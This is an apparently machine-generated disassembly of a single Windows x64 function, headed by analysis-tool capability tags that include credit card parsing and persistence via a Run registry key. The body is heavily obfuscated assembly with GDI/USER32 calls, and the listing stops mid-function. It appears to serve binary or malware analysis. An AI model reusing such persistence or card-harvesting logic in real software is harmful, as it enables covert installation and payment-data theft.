Function at 0x180026f60
Capabilities:
Check http status code
Parse credit card information
Parse pe header
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x1800ca088]
xor rax, rsp
mov qword [rbp + 0x350], rax
mov rax, qword [rbp + 0x138]
mov r13d, 1
mov r12, qword [rbp - 0x40]
mov r15, r8
mov dword [rbp - 0x78], r13d
mov r10, rcx
mov qword [rbp + 0xc8], rax
xor ebx, ebx
mov qword [rbp - 0x80], r8
mov qword [rsp + 0x58], rcx
lea rdi, [0x180000000]
mov r9d, 0x64
mov r11d, 0x656c
mov r8d, 0x7274
lea esi, [r9 + 0xa]
lea ecx, [rsi + 7]
lea r14d, [r9 - 0x44]
lea edx, [r11 + 6]
cmp r13d, 0x87
ja 0x18002713c
je 0x1800270ea
mov eax, r13d
sub eax, 1
je 0x180027027
mov rsi, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xc8]
cmp eax, 0x43
jne 0x180028c5d
mov rax, qword [rbp + 0x130]
mov qword [r10 + 0x20], rax
jmp 0x180028c5d
mov eax, dword [r10 + 0x28]
lea r9, [rbp - 0x68]
shl rax, 4
lea r8, [rbp + 0x20]
mov qword [rbp - 0x60], rax
mov rdx, r15
lea rax, [rbp - 0x60]
mov dword [rbp - 0x68], 0x80
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea rcx, [rbp + 0xa0]
mov dword [rbp + 0x20], 1
call fcn.180009cd0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
psrldq xmm0, 8
movq rcx, xmm0
mov qword [rbp + 0xc8], rcx
test rcx, rcx
jne 0x1800270e0
mov edi, 0x48
nop word [rax + rax]
mov eax, edi
sub eax, 0x48
je 0x1800270b1
sub eax, 0x26
je 0x1800270a7
cmp eax, 0x26
je case.0x18002c317.0
jmp 0x1800270cb
mov dword [rsp + 0x70], 0xffffffff
jmp 0x1800270cb
cmp dword [0x1800cc94c], 5
jg 0x1800270cb
xor edx, edx
lea r8, str.The_movies_used_to_be_big_
lea ecx, [rdx + 5]
call fcn.180040e70
add edi, 0x26
cmp edi, 0xba
jb 0x180027090
mov r10, qword [rsp + 0x58]
jmp case.0x180027173.187
mov r10, qword [rsp + 0x58]
jmp 0x180028c56
mov eax, dword [r10 + 0x40]
lea r9, [rbp - 0x68]
shl rax, 4
lea r8, [rbp + 0x20]
mov qword [rbp - 0x60], rax
mov rdx, r15
lea rax, [rbp - 0x60]
mov dword [rbp - 0x68], 0x80
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea rcx, [rbp + 0x108]
mov dword [rbp + 0x20], 1
call fcn.180009cd0
mov r10, qword [rsp + 0x58]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
jmp case.0x180027173.187
cmp r13d, 0x1bd
ja 0x1800285aa
je 0x18002855b
lea eax, [r13 - 0xb1]
cmp eax, 0xe9
ja case.0x180027173.187
movzx eax, byte [rdi + rax + 0x2cca8]
mov ecx, dword [rdi + rax*4 + 0x2cc7c]
add rcx, rdi
jmp rcx
mov rsi, qword [rbp + 0xd8]
test rsi, rsi
jne 0x1800271dd
mov edi, 0x7c
mov eax, edi
sub eax, 0x7c
je 0x1800271b7
sub eax, 1
je 0x18002719d
cmp eax, 1
je case.0x18002c317.0
jmp 0x1800271d1
mov r8, r15
mov rdx, r10
mov ecx, 0x4d
call fcn.180071700
mov dword [rsp + 0x70], 0xffffffff
jmp 0x1800271d1
cmp dword [0x1800cc94c], 5
jg 0x1800271d1
xor edx, edx
lea r8, str.Failed_to_allocate_tx_ring
lea ecx, [rdx + 5]
call fcn.180040e70
mov r10, qword [rsp + 0x58]
inc edi
cmp edi, 0x7f
jb 0x180027186
mov ecx, dword [r10 + 0x28]
shl rcx, 3
call fcn.18008946c
mov r10, qword [rsp + 0x58]
mov rcx, qword [rbp + 0xc8]
mov qword [r10 + 0x30], rax
jmp 0x180028c5d
mov rax, qword [rbp + 0x80]
test rax, rax
je case.0x180027173.187
mov rbx, qword [rbp + 0x60]
mov rsi, r10
mov r14, rax
mov r12d, 0x75
nop
movzx eax, byte [rsi]
cmp al, 0x5c
jne 0x18002724c
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1e0c]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
cmp al, 0x22
jne 0x180027275
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1e10]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
cmp al, 0x2f
jne 0x18002729e
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1de8]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
cmp al, 8
jne 0x1800272c7
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1e14]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
cmp al, 0xc
jne 0x1800272f0
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1e18]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
cmp al, 0xa
jne 0x180027319
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1e1c]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
cmp al, 0xd
jne 0x180027342
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1e20]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
cmp al, 9
jne 0x18002736b
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 2
lea r8, [0x1800b1e24]
mov edx, 0x29
mov rcx, rbx
call fcn.18003bda0
jmp 0x18002748b
test al, al
jns 0x18002737b
mov byte [rbp - 0x58], al
lea r8, [rbp - 0x58]
jmp 0x18002747e
cmp al, 0x20
jge 0x180027477
mov edi, 0x81
nop dword [rax + rax]
mov eax, edi
sub eax, 0x81
je 0x180027446
sub eax, 0x61
je 0x180027415
sub eax, 0x61
je 0x1800273d3
cmp eax, 0x61
jne 0x180027466
lea r9, [rbp - 0x60]
mov qword [rbp - 0x60], 6
lea r8, [rbp + 0x140]
mov rcx, rbx
lea edx, [rax - 0x38]
call fcn.18003bda0
jmp 0x180027466
lea rcx, [rbp + 0xc0]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1800273e0
mov eax, dword [str.4.4x]
lea rdx, [rbp + 0xc0]
movsx r8d, byte [rsi]
mov dword [rcx], eax
movzx eax, byte [0x1800b1e30]
mov byte [rcx + 4], al
lea rcx, [rbp + 0x140]
call fcn.180001170
jmp 0x180027466
lea rcx, [rbp + 0xc0]
mov word [rbp + 0xc1], r12w
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180027430
movzx eax, word [0x1800b16c4]
mov word [rcx], ax
jmp 0x180027466
mov r8d, 1
mov byte [rbp + 0xc0], 0
lea rdx, [0x1800b1700]
lea rcx, [rbp + 0xc0]
call fcn.180089030
add edi, 0x61
cmp edi, 0x205
jb 0x180027390
jmp 0x18002748b
mov byte [rbp - 0x28], al
lea r8, [rbp - 0x28]
mov edx, 0x30
mov rcx, rbx
call fcn.180072e90
inc rsi
sub r14, 1
jne 0x180027220
mov r12, qword [rbp - 0x40]
xor ebx, ebx
mov r10, qword [rsp + 0x58]
jmp case.0x180027173.187
cmp qword [rbp + 0x60], 0
jne case.0x180027173.187
mov ecx, 0xb6
nop dword [rax + rax]
mov eax, ecx
sub eax, 0xb6
je 0x1800274d4
cmp eax, 1
je case.0x18002c317.0
jmp 0x1800274d9
mov qword [rsp + 0x70], rbx
inc ecx
cmp ecx, 0xb8
jb 0x1800274c0
jmp case.0x180027173.187
mov r15d, 0xbe
nop
mov eax, r15d
sub eax, 0xbe
je 0x18002751f
sub eax, 0x61
je case.0x180027542.9
sub eax, 0x61
je 0x180027512
cmp eax, 0x61
je case.0x18002c317.0
jmp 0x180027b0a
mov dword [rsp + 0x70], 1
jmp 0x180027b0a
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x180027542.23
cdqe
movzx eax, byte [rdi + rax + 0x2cdd0]
mov ecx, dword [rdi + rax*4 + 0x2cd94]
add rcx, rdi
jmp rcx
mov eax, 0x9b
nop dword [rax]
cmp eax, 0x9b
je 0x18002756d
cmp eax, 0x60e
jne 0x180027574
mov r15d, 0x11f
lea r13d, [r15 + 0x38]
jmp 0x180027b0a
mov qword [r10], 1
add eax, 0x573
cmp eax, 0xae6
jbe 0x180027550
mov edi, 0x59
mov eax, edi
sub eax, 0x58
je 0x1800275c0
cmp eax, 1
jne 0x18002759f
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
test rax, rax
je 0x18002759f
call rax
dec edi
cmp edi, 0x57
ja 0x180027585
mov r10, qword [rsp + 0x58]
mov edi, 0x9d
mov eax, edi
sub eax, 0x9d
je 0x1800275dc
cmp eax, 0x55
je case.0x180027542.9
jmp 0x1800275f7
mov r13, qword [rsp + 0x58]
mov r15d, 0x11f
mov dword [r13], 0x19
lea r13d, [r15 + 0x38]
jmp 0x180027b0a
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 8]
test rax, rax
je 0x1800275f0
call rax
mov r10, qword [rsp + 0x58]
mov dword [r10], 0x1a
add edi, 0x55
cmp edi, 0x147
jb 0x1800275b0
mov eax, 0x74
cmp eax, 0x74
je 0x180027634
inc eax
cmp eax, 0x75
jb 0x180027607
mov edi, 0x9f
nop dword [rax + rax]
mov eax, edi
sub eax, 0x9f
je 0x180027656
cmp eax, 0x15
je case.0x180027542.9
jmp 0x180027671
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x10]
test rax, rax
je case.0x180027542.9
call rax
mov r15d, 0x11f
lea r13d, [r15 + 0x38]
jmp 0x180027b0a
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x18]
test rax, rax
je 0x18002766a
call rax
mov r10, qword [rsp + 0x58]
mov dword [r10], 0x1a
add edi, 0x15
cmp edi, 0xc9
jb 0x180027620
mov ecx, 0x85
mov eax, ecx
sub eax, 0x85
je 0x180027695
cmp eax, 0x42
je case.0x180027542.9
jmp 0x18002769c
mov dword [r10], 7
add ecx, 0x42
cmp ecx, 0x109
jb 0x180027681
mov eax, 0x84
nop dword [rax]
cmp eax, 0x84
je 0x180027704
add eax, 0xb58
cmp eax, 0xb58
jbe 0x1800276b0
mov ecx, esi
mov eax, ecx
sub eax, 0x6d
je case.0x180027542.9
cmp eax, 1
jne 0x1800276dc
mov dword [r10], 0xe
dec ecx
cmp ecx, 0x6c
ja 0x1800276c5
mov edi, 0x91
nop dword [rax + rax]
mov eax, edi
sub eax, 0x91
je 0x18002771a
cmp eax, 0x19
je case.0x180027542.9
jmp 0x180027729
mov r15d, 0x11f
mov dword [r10], 0xa
lea r13d, [r15 + 0x38]
jmp 0x180027b0a
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x48]
test rax, rax
je 0x180027729
call rax
add edi, 0x19
cmp edi, 0xc3
jb 0x1800276f0
mov r10, qword [rsp + 0x58]
mov edi, 0x15
nop
cmp edi, 0x15
je 0x180027750
cmp edi, 0x35
je case.0x180027542.9
jmp 0x18002776b
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x50]
test rax, rax
je 0x180027764
call rax
mov r10, qword [rsp + 0x58]
mov dword [r10], 0x1b
add edi, 0x20
cmp edi, 0x55
jb 0x180027740
lea rdi, [0x180000000]
mov r14d, 0x98
mov esi, ebx
cmp esi, 7
ja case.default.0x180027797
mov eax, esi
mov ecx, dword [rdi + rax*4 + 0x2ce48]
add rcx, rdi
jmp rcx
mov edx, 0x79
mov qword [rbp - 0x60], 5
lea rcx, [rbp - 0x60]
call fcn.18001b550
mov r10, qword [rsp + 0x58]
mov qword [r10 + 8], rax
test rax, rax
jne 0x1800277d3
mov eax, 0x1b
cmp eax, 0x1b
je 0x18002cc37
add eax, 0x24
cmp eax, 0x3f
jb 0x1800277c2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
jmp case.default.0x180027797
mov byte [rsp + 0x60], 1
mov dword [r10 + 4], ebx
jmp case.default.0x180027797
mov rcx, rbx
call qword [sym.imp.USER32.dll_WindowFromPoint]
mov r12, rax
mov qword [rbp - 0x40], rax
jmp 0x1800278b7
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp + 0xe0]
call qword [sym.imp.GDI32.dll_GetColorAdjustment]
test eax, eax
jne 0x1800278b7
mov byte [rsp + 0x60], al
jmp 0x1800278b7
mov rax, qword [rbp - 0x48]
test rax, rax
je case.default.0x180027797
mov edi, 0x48
cmp edi, 0x48
jne 0x180027856
mov rdx, rax
mov rcx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rax, rbx
add edi, 0x90
cmp edi, 0x90
jbe 0x180027842
jmp 0x1800278b3
mov rcx, qword [r10 + 8]
lea r8, [rbp - 0x30]
mov eax, 0x18
mov byte [rbp - 0x30], 0x30
mov word [rbp + 0xe0], ax
lea edx, [rax + 0x18]
call fcn.180072e90
cmp eax, 1
je 0x1800278b7
mov eax, 0x14
cmp eax, 0x14
je 0x18002cc37
add eax, 0x60
cmp eax, 0x74
jb 0x180027890
jmp 0x1800278b7
mov rcx, r12
mov dword [r10], 0x11
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbp - 0x48], rax
mov r10, qword [rsp + 0x58]
inc r14d
inc esi
cmp r14d, 0xa0
jae case.0x180027542.14
lea rdi, [0x180000000]
jmp 0x180027782
cmp byte [rsp + 0x60], 0
je case.0x180027542.9
mov rcx, qword [rbp - 0x48]
lea rdx, [rbp + 0xe0]
call qword [sym.imp.GDI32.dll_SetColorAdjustment]
mov r15d, 0x11f
lea r13d, [r15 + 0x38]
jmp 0x180027b0a
mov edi, 0x2c
nop word [rax + rax]
mov eax, edi
sub eax, 0x2c
je 0x1800279c7
sub eax, 1
je 0x180027970
cmp eax, 1
jne 0x1800279cb
movzx eax, byte [rbx]
lea r8, [rsp + 0x68]
mov rcx, qword [r10 + 8]
mov edx, 0x30
mov byte [rsp + 0x68], al
call fcn.180072e90
cmp eax, 1
je case.0x180027542.9
mov eax, 0x48
cmp eax, 0x48
je 0x18002cc37
inc eax
cmp eax, 0x49
jb 0x180027951
mov r15d, 0x11f
lea r13d, [r15 + 0x38]
jmp 0x180027b0a
mov esi, 0x18
mov qword [rbp - 0x60], 5
lea rcx, [rbp - 0x60]
mov dword [r10], esi
lea edx, [rsi + 0x61]
call fcn.18001b550
mov r10, qword [rsp + 0x58]
mov qword [r10 + 8], rax
test rax, rax
jne 0x1800279cb
mov eax, esi
nop dword [rax]
cmp eax, esi
je 0x1800279b1
cmp eax, 0x678
je case.0x18002c317.0
jmp 0x1800279b9
mov dword [rsp + 0x70], 6
add eax, 0x660
cmp eax, 0xcc0
jbe 0x1800279a0
jmp 0x1800279cb
mov dword [r10 + 4], ebx
inc edi
cmp edi, 0x2f
jb 0x180027910
mov edi, 0x7c
nop dword [rax + rax]
cmp edi, 0x7c
je 0x180027ae9
cmp edi, 0x2644
je 0x180027ad9
cmp edi, 0x4c0c
je 0x180027a94
cmp edi, 0x71d4
je 0x180027a17
cmp edi, 0x979c
je case.0x180027542.9
jmp 0x180027a62
mov rcx, qword [r10 + 8]
lea r8, [rbp - 0x20]
mov edx, 0x30
mov byte [rbp - 0x20], 0x2d
call fcn.180072e90
cmp eax, 1
je 0x180027a5d
mov eax, 0x24
cmp eax, 0x24
je 0x180027a49
cmp eax, 0x900
je case.0x18002c317.0
jmp 0x180027a51
mov dword [rsp + 0x70], 6
add eax, 0x8dc
cmp eax, 0x11b8
jbe 0x180027a37
mov r10, qword [rsp + 0x58]
add edi, 0x25c8
cmp edi, 0xbce8
jbe 0x1800279e0
mov eax, 0xaf
nop dword [rax]
cmp eax, 0xaf
je 0x180027af2
cmp eax, 0x1ec3
je case.0x18002c317.0
jmp 0x180027afa
mov edx, 0x79
mov qword [rbp - 0x60], 5
lea rcx, [rbp - 0x60]
call fcn.18001b550
mov r10, qword [rsp + 0x58]
mov qword [r10 + 8], rax
test rax, rax
jne 0x180027a62
mov eax, 0x90
nop dword [rax]
cmp eax, 0x90
je 0x18002cc37
add eax, 0xcf0
cmp eax, 0xcf0
jbe 0x180027ac0
jmp 0x180027a62
mov dword [r10], 0x17
mov qword [r10 + 8], rbx
jmp 0x180027a62
mov dword [r10 + 4], ebx
jmp 0x180027a62
mov dword [rsp + 0x70], 7
add eax, 0x1e14
cmp eax, 0x3c28
jbe 0x180027a80
mov r10, qword [rsp + 0x58]
lea rdi, [0x180000000]
add r15d, 0x61
mov esi, 0x6e
cmp r15d, 0x242
jb 0x1800274f0
mov r15, qword [rbp - 0x80]
jmp case.0x180027173.187
mov ecx, dword [r10 + 0x40]
shl rcx, 3
call fcn.18008946c
mov r10, qword [rsp + 0x58]
mov qword [r10 + 0x48], rax
jmp case.0x180027173.187
mov rax, qword [rbp + 0x80]
lea rcx, [rbp + 0x90]
mov edx, 0x79
mov qword [rbp + 0x90], rax
call fcn.18001b550
mov r10, qword [rsp + 0x58]
mov qword [rbp + 0x60], rax
jmp case.0x180027173.187
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r10 + rax], 0
jne 0x180027b84
mov qword [rbp + 0x80], rax
jmp case.0x180027173.187
mov eax, dword [r10]
cmp eax, 0x1b
ja case.default.0x180027bb0
mov ecx, dword [rdi + rax*4 + 0x2ce68]
add rcx, rdi
jmp rcx
mov eax, 0x83
nop word [rax + rax]
cmp eax, 0x83
je 0x18002859f
cmp eax, 0xd4e
je case.0x180027173.182
add eax, 0xccb
cmp eax, 0x1996
jbe 0x180027bc0
mov ecx, 0x5f
nop word [rax + rax]
mov eax, ecx
sub eax, 0x5f
je case.0x180027173.186
cmp eax, 1
je case.0x180027173.182
inc ecx
cmp ecx, 0x61
jb 0x180027bf0
mov eax, r14d
nop
cmp eax, 0x20
je 0x180028980
dec eax
cmp eax, 0x1f
ja 0x180027c10
mov r14d, 1
mov dword [rsp + 0x54], r14d
nop dword [rax + rax]
mov eax, r14d
sub eax, 1
je 0x1800285df
sub eax, 1
je 0x180027c4f
cmp eax, 1
je case.0x180027173.182
jmp 0x180027d78
mov esi, 0xc
lea r12, [0x180000000]
mov edi, ebx
mov r15d, 0x6564
lea ebx, [rsi + 0x38]
lea r14d, [rsi + 0x62]
lea r13d, [rsi + 0x55]
nop
cmp edi, 0xb
ja case.default.0x180027c86
mov eax, edi
mov ecx, dword [r12 + rax*4 + 0x2ced8]
add rcx, r12
jmp rcx
mov eax, 0x48
mov dword [rbp + 0xea], 0x676e69
mov word [rbp + 0xed], ax
jmp case.default.0x180027c86
mov eax, 0x65
mov word [rbp + 0xe6], ax
jmp case.default.0x180027c86
mov r8, qword [sym.imp.USER32.dll_DdeFreeStringHandle]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x150]
call fcn.180001170
mov edx, 0x6572
mov r8d, 0x7274
mov r9d, 0x64
lea r11d, [rdx - 6]
jmp case.default.0x180027c86
mov dword [rbp + 0xf1], 0x2520656c
jmp case.default.0x180027c86
mov eax, 0x70
mov word [rbp + 0xf5], ax
jmp case.default.0x180027c86
mov word [rbp + 0xe4], dx
jmp case.default.0x180027c86
mov word [rbp + 0xe8], r8w
jmp case.default.0x180027c86
mov eax, 0x53
mov word [rbp + 0xe7], ax
jmp case.default.0x180027c86
mov word [rbp + 0xee], r13w
mov word [rbp + 0xef], r14w
jmp case.default.0x180027c86
mov word [rbp + 0xe0], bx
mov word [rbp + 0xe1], r15w
jmp case.default.0x180027c86
mov word [rbp + 0xf0], r9w
jmp case.default.0x180027c86
mov eax, 0x46
mov word [rbp + 0xe3], ax
inc edi
sub rsi, 1
jne 0x180027c70
mov r14d, dword [rsp + 0x54]
xor ebx, ebx
mov r13d, dword [rbp - 0x78]
mov r12, qword [rbp - 0x40]
mov r15, qword [rbp - 0x80]
inc r14d
mov dword [rsp + 0x54], r14d
cmp r14d, 4
jb 0x180027c30
mov r10, qword [rsp + 0x58]
lea rdi, [0x180000000]
mov eax, 0xab
nop dword [rax + rax]
cmp eax, 0xab
je 0x18002898b
dec eax
cmp eax, 0xaa
ja 0x180027da0
mov eax, 0xb7
nop dword [rax]
cmp eax, 0xb7
je 0x1800289bd
add eax, 0x30
cmp eax, 0xe7
jb 0x180027dc0
mov eax, 0x83
nop word [rax + rax]
cmp eax, 0x83
je 0x1800289b2
dec eax
cmp eax, 0x82
ja 0x180027de0
mov eax, 0x51
nop dword [rax]
cmp eax, 0x51
je 0x180028d0f
add eax, 0x14e2
cmp eax, 0x14e2
jbe 0x180027e00
mov eax, 0x37
nop word [rax + rax]
cmp eax, 0x37
je 0x180028d2c
cmp eax, 0x3b
je case.0x180027173.182
add eax, 4
cmp eax, 0x3f
jb 0x180027e20
mov eax, 0x47
nop
cmp eax, 0x47
je 0x180028d49
cmp eax, 0x155b
je case.0x180027173.182
add eax, 0x1514
cmp eax, 0x2a28
jbe 0x180027e40
mov eax, 0x4d
cmp eax, 0x4d
je 0x180028d66
add eax, 0x4b
cmp eax, 0x98
jb 0x180027e65
mov eax, 0x9f
nop dword [rax]
cmp eax, 0x9f
je 0x180028d83
inc eax
cmp eax, 0xa0
jb 0x180027e80
mov esi, 0x18
mov dword [rsp + 0x54], esi
nop dword [rax]
cmp esi, 0x148
ja 0x180027f8e
je 0x180027f7e
mov eax, esi
sub eax, 0x18
je 0x180027f69
sub eax, 0x4c
je 0x180027f53
sub eax, 0x4c
je 0x180027f06
cmp eax, 0x4c
jne 0x180028000
mov r10, qword [rsp + 0x58]
mov ecx, 0x7e
mov r14d, 0x1dfce
cmp ecx, 0x7e
je 0x180028da0
cmp ecx, 0x1b90
jne 0x180028dcb
mov dword [rsp + 0x70], 1
jmp case.0x18002c317.0
mov rax, qword [rbp + 0x58]
test rax, rax
je 0x180027f47
mov rsi, qword [rbp + 0x88]
mov edi, 0x4d
nop dword [rax + rax]
cmp edi, 0x4d
jne 0x180027f34
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rax, rbx
add edi, 0x4c
cmp edi, 0x99
jb 0x180027f20
mov esi, dword [rsp + 0x54]
mov qword [rbp + 0x58], rax
mov dword [rbp - 0x70], 0xa
jmp 0x180028000
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbp + 0x58], rax
jmp 0x180028000
mov rcx, rbx
call qword [sym.imp.USER32.dll_WindowFromPoint]
mov qword [rbp + 0x88], rax
jmp 0x180028000
mov dword [rbp - 0x6c], 0x1e
mov dword [rbp + 0x18], 0x28
jmp 0x180028000
mov eax, esi
sub eax, 0x194
je 0x180027ff9
sub eax, 0x4c
je 0x180027fe8
sub eax, 0x4c
je 0x180027fac
cmp eax, 0x4c
je case.0x180027173.182
jmp 0x180028000
mov eax, dword [rsp + 0x78]
mov r9d, dword [rbp - 0x6c]
mov r8d, dword [rbp + 0x58]
mov edx, dword [rbp - 0x70]
mov rcx, qword [rbp + 0x58]
mov dword [rsp + 0x40], 5
mov dword [rsp + 0x38], eax
mov eax, dword [rbp - 0x74]
mov dword [rsp + 0x30], eax
mov eax, dword [rbp + 0x50]
mov dword [rsp + 0x28], eax
mov eax, dword [rbp + 0x18]
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_Pie]
jmp 0x180028000
mov dword [rbp - 0x74], 5
mov dword [rsp + 0x78], 5
jmp 0x180028000
mov dword [rbp + 0x50], 5
add esi, 0x4c
mov dword [rsp + 0x54], esi
cmp esi, 0x2c4
jb 0x180027ea0
mov r10, qword [rsp + 0x58]
mov ecx, 0x14
nop dword [rax]
mov eax, ecx
sub eax, 0x13
je case.0x180027173.182
cmp eax, 1
je 0x180028df4
dec ecx
cmp ecx, 0x12
ja 0x180028020
mov eax, 6
cmp eax, 6
je 0x180028e11
add eax, 0x43
cmp eax, 0x49
jb 0x180028040
mov eax, 0x3d
cmp eax, 0x3d
je 0x180028e87
add eax, 0xe0f
cmp eax, 0xe0f
jbe 0x180028056
mov eax, 0x49
cmp eax, 0x49
je 0x180028f01
add eax, 0x5fd
cmp eax, 0x5fd
jbe 0x180028070
mov eax, 0x10
nop word [rax + rax]
cmp eax, 0x10
je 0x180028f77
add eax, 0x5b0
cmp eax, 0x5b0
jbe 0x180028090
mov eax, 0xbe
nop word [rax + rax]
cmp eax, 0xbe
je 0x180028fe7
cmp eax, 0x1586
je case.0x180027173.182
add eax, 0x14c8
cmp eax, 0x2990
jbe 0x1800280b0
mov eax, 0x36
cmp eax, 0x36
je 0x18002905d
add eax, 3
cmp eax, 0x39
jb 0x1800280d7
mov eax, reloc.SHLWAPI.dll_IUnknown_AtomicRelease
nop dword [rax]
cmp eax, 0xa9
je 0x1800290d3
add eax, 0x3ac1
cmp eax, 0x3ac1
jbe 0x1800280f0
mov eax, 0x28
nop dword [rax]
cmp eax, 0x28
je 0x180029143
add eax, 0x25
cmp eax, 0x4d
jb 0x180028110
mov eax, 0x36
cmp eax, 0x36
je 0x1800291b9
cmp eax, 0x38
je case.0x180027173.182
add eax, 2
cmp eax, 0x3a
jb 0x180028126
mov ecx, 0xc6
nop word [rax + rax]
mov eax, ecx
sub eax, 0xc5
je case.0x180027173.182
cmp eax, 1
je 0x18002922f
dec ecx
cmp ecx, 0xc4
ja 0x180028150
mov ecx, 0x36
mov eax, ecx
sub eax, 0x36
je 0x1800292a5
cmp eax, 1
je case.0x180027173.182
inc ecx
cmp ecx, 0x38
jb 0x180028175
mov eax, 0xae
cmp eax, 0xae
je 0x18002931b
add eax, 0x63
cmp eax, 0x111
jb 0x180028195
mov esi, 0x3e
mov dword [rsp + 0x54], esi
mov eax, esi
sub eax, 0x3e
je 0x18002823e
sub eax, 1
je 0x180029391
sub eax, 1
je 0x1800281ef
sub eax, 1
je 0x1800281dc
cmp eax, 1
je case.0x180027173.182
jmp 0x18002824b
mov rcx, qword [rbp + 0x68]
lea rdx, [rbp + 0x98]
call qword [sym.imp.GDI32.dll_GetViewportExtEx]
jmp 0x18002824b
cmp qword [rbp + 0x68], 0
je 0x180028235
mov rsi, qword [rbp + 0x68]
mov edi, 0x2c
mov r12, qword [rbp + 0x70]
cmp edi, 0x2c
je 0x180028212
cmp edi, 0x7a
jne 0x18002821e
mov rsi, rbx
jmp 0x18002821e
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
add edi, 0x4e
cmp edi, 0xc8
jb 0x180028203
mov r12, qword [rbp - 0x40]
mov qword [rbp + 0x68], rsi
mov esi, dword [rsp + 0x54]
mov qword [rbp + 0x98], rbx
jmp 0x18002824b
mov rcx, rbx
call qword [sym.imp.USER32.dll_WindowFromPoint]
mov qword [rbp + 0x70], rax
inc esi
mov dword [rsp + 0x54], esi
cmp esi, 0x43
jb 0x1800281b3
mov edi, 0x26
nop
cmp edi, 0x2ae6
ja 0x1800282bc
je 0x1800282ad
cmp edi, 0x26
je 0x1800282a2
cmp edi, 0xe66
je 0x180029462
cmp edi, 0x1ca6
jne 0x1800282f5
mov edx, 5
mov dword [rbp + 0x28], 1
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_CreateAcceleratorTableA]
mov qword [rbp - 0x38], rax
jmp 0x1800282f5
mov byte [rsp + 0x50], 1
mov qword [rbp + 0x78], rbx
jmp 0x1800282f5
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.USER32.dll_WaitForInputIdle]
jmp 0x1800282f5
cmp edi, 0x3926
je 0x1800282d2
cmp edi, 0x4766
je case.0x180027173.182
jmp 0x1800282f5
movzx eax, byte [rsp + 0x50]
mov ecx, ebx
mov rdx, qword [rbp - 0x38]
test rdx, rdx
cmovne ecx, eax
mov byte [rsp + 0x50], cl
cmp cl, 0
je 0x1800282f5
mov rcx, rdx
call qword [sym.imp.USER32.dll_DestroyAcceleratorTable]
add edi, 0xe40
cmp edi, 0x5580
jbe 0x180028260
mov r10, qword [rsp + 0x58]
mov ecx, 0x8e
mov eax, ecx
sub eax, 0x8e
je 0x180028325
cmp eax, 0x13
je case.0x18002c317.0
jmp 0x18002832d
mov dword [rsp + 0x70], 0xa
add ecx, 0x13
cmp ecx, 0xb4
jb 0x180028311
jmp case.0x180027173.187
mov ecx, 0x34
mov eax, ecx
sub eax, 0x32
je case.0x18002c317.0
sub eax, 1
je 0x18002853d
cmp eax, 1
jne 0x180028545
movzx eax, byte [rbx]
cmp al, 0x22
je 0x1800283ff
cmp al, 0x5c
jne 0x1800284a3
mov edi, 0x3b
mov eax, edi
sub eax, 0x3b
je 0x180028397
sub eax, 1
je 0x18002838e
cmp eax, 1
je 0x180028527
jmp 0x1800283f4
mov dword [r10], 2
jmp 0x1800283f4
cmp dword [r10 + 4], 0
jne 0x1800283f4
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffd
jae 0x180028418
mov r13, qword [rsp + 0x58]
lea r8, [rbp - 0x18]
mov edx, 0x30
mov byte [rbp - 0x18], 0x5c
mov rcx, qword [r13 + 8]
call fcn.180072e90
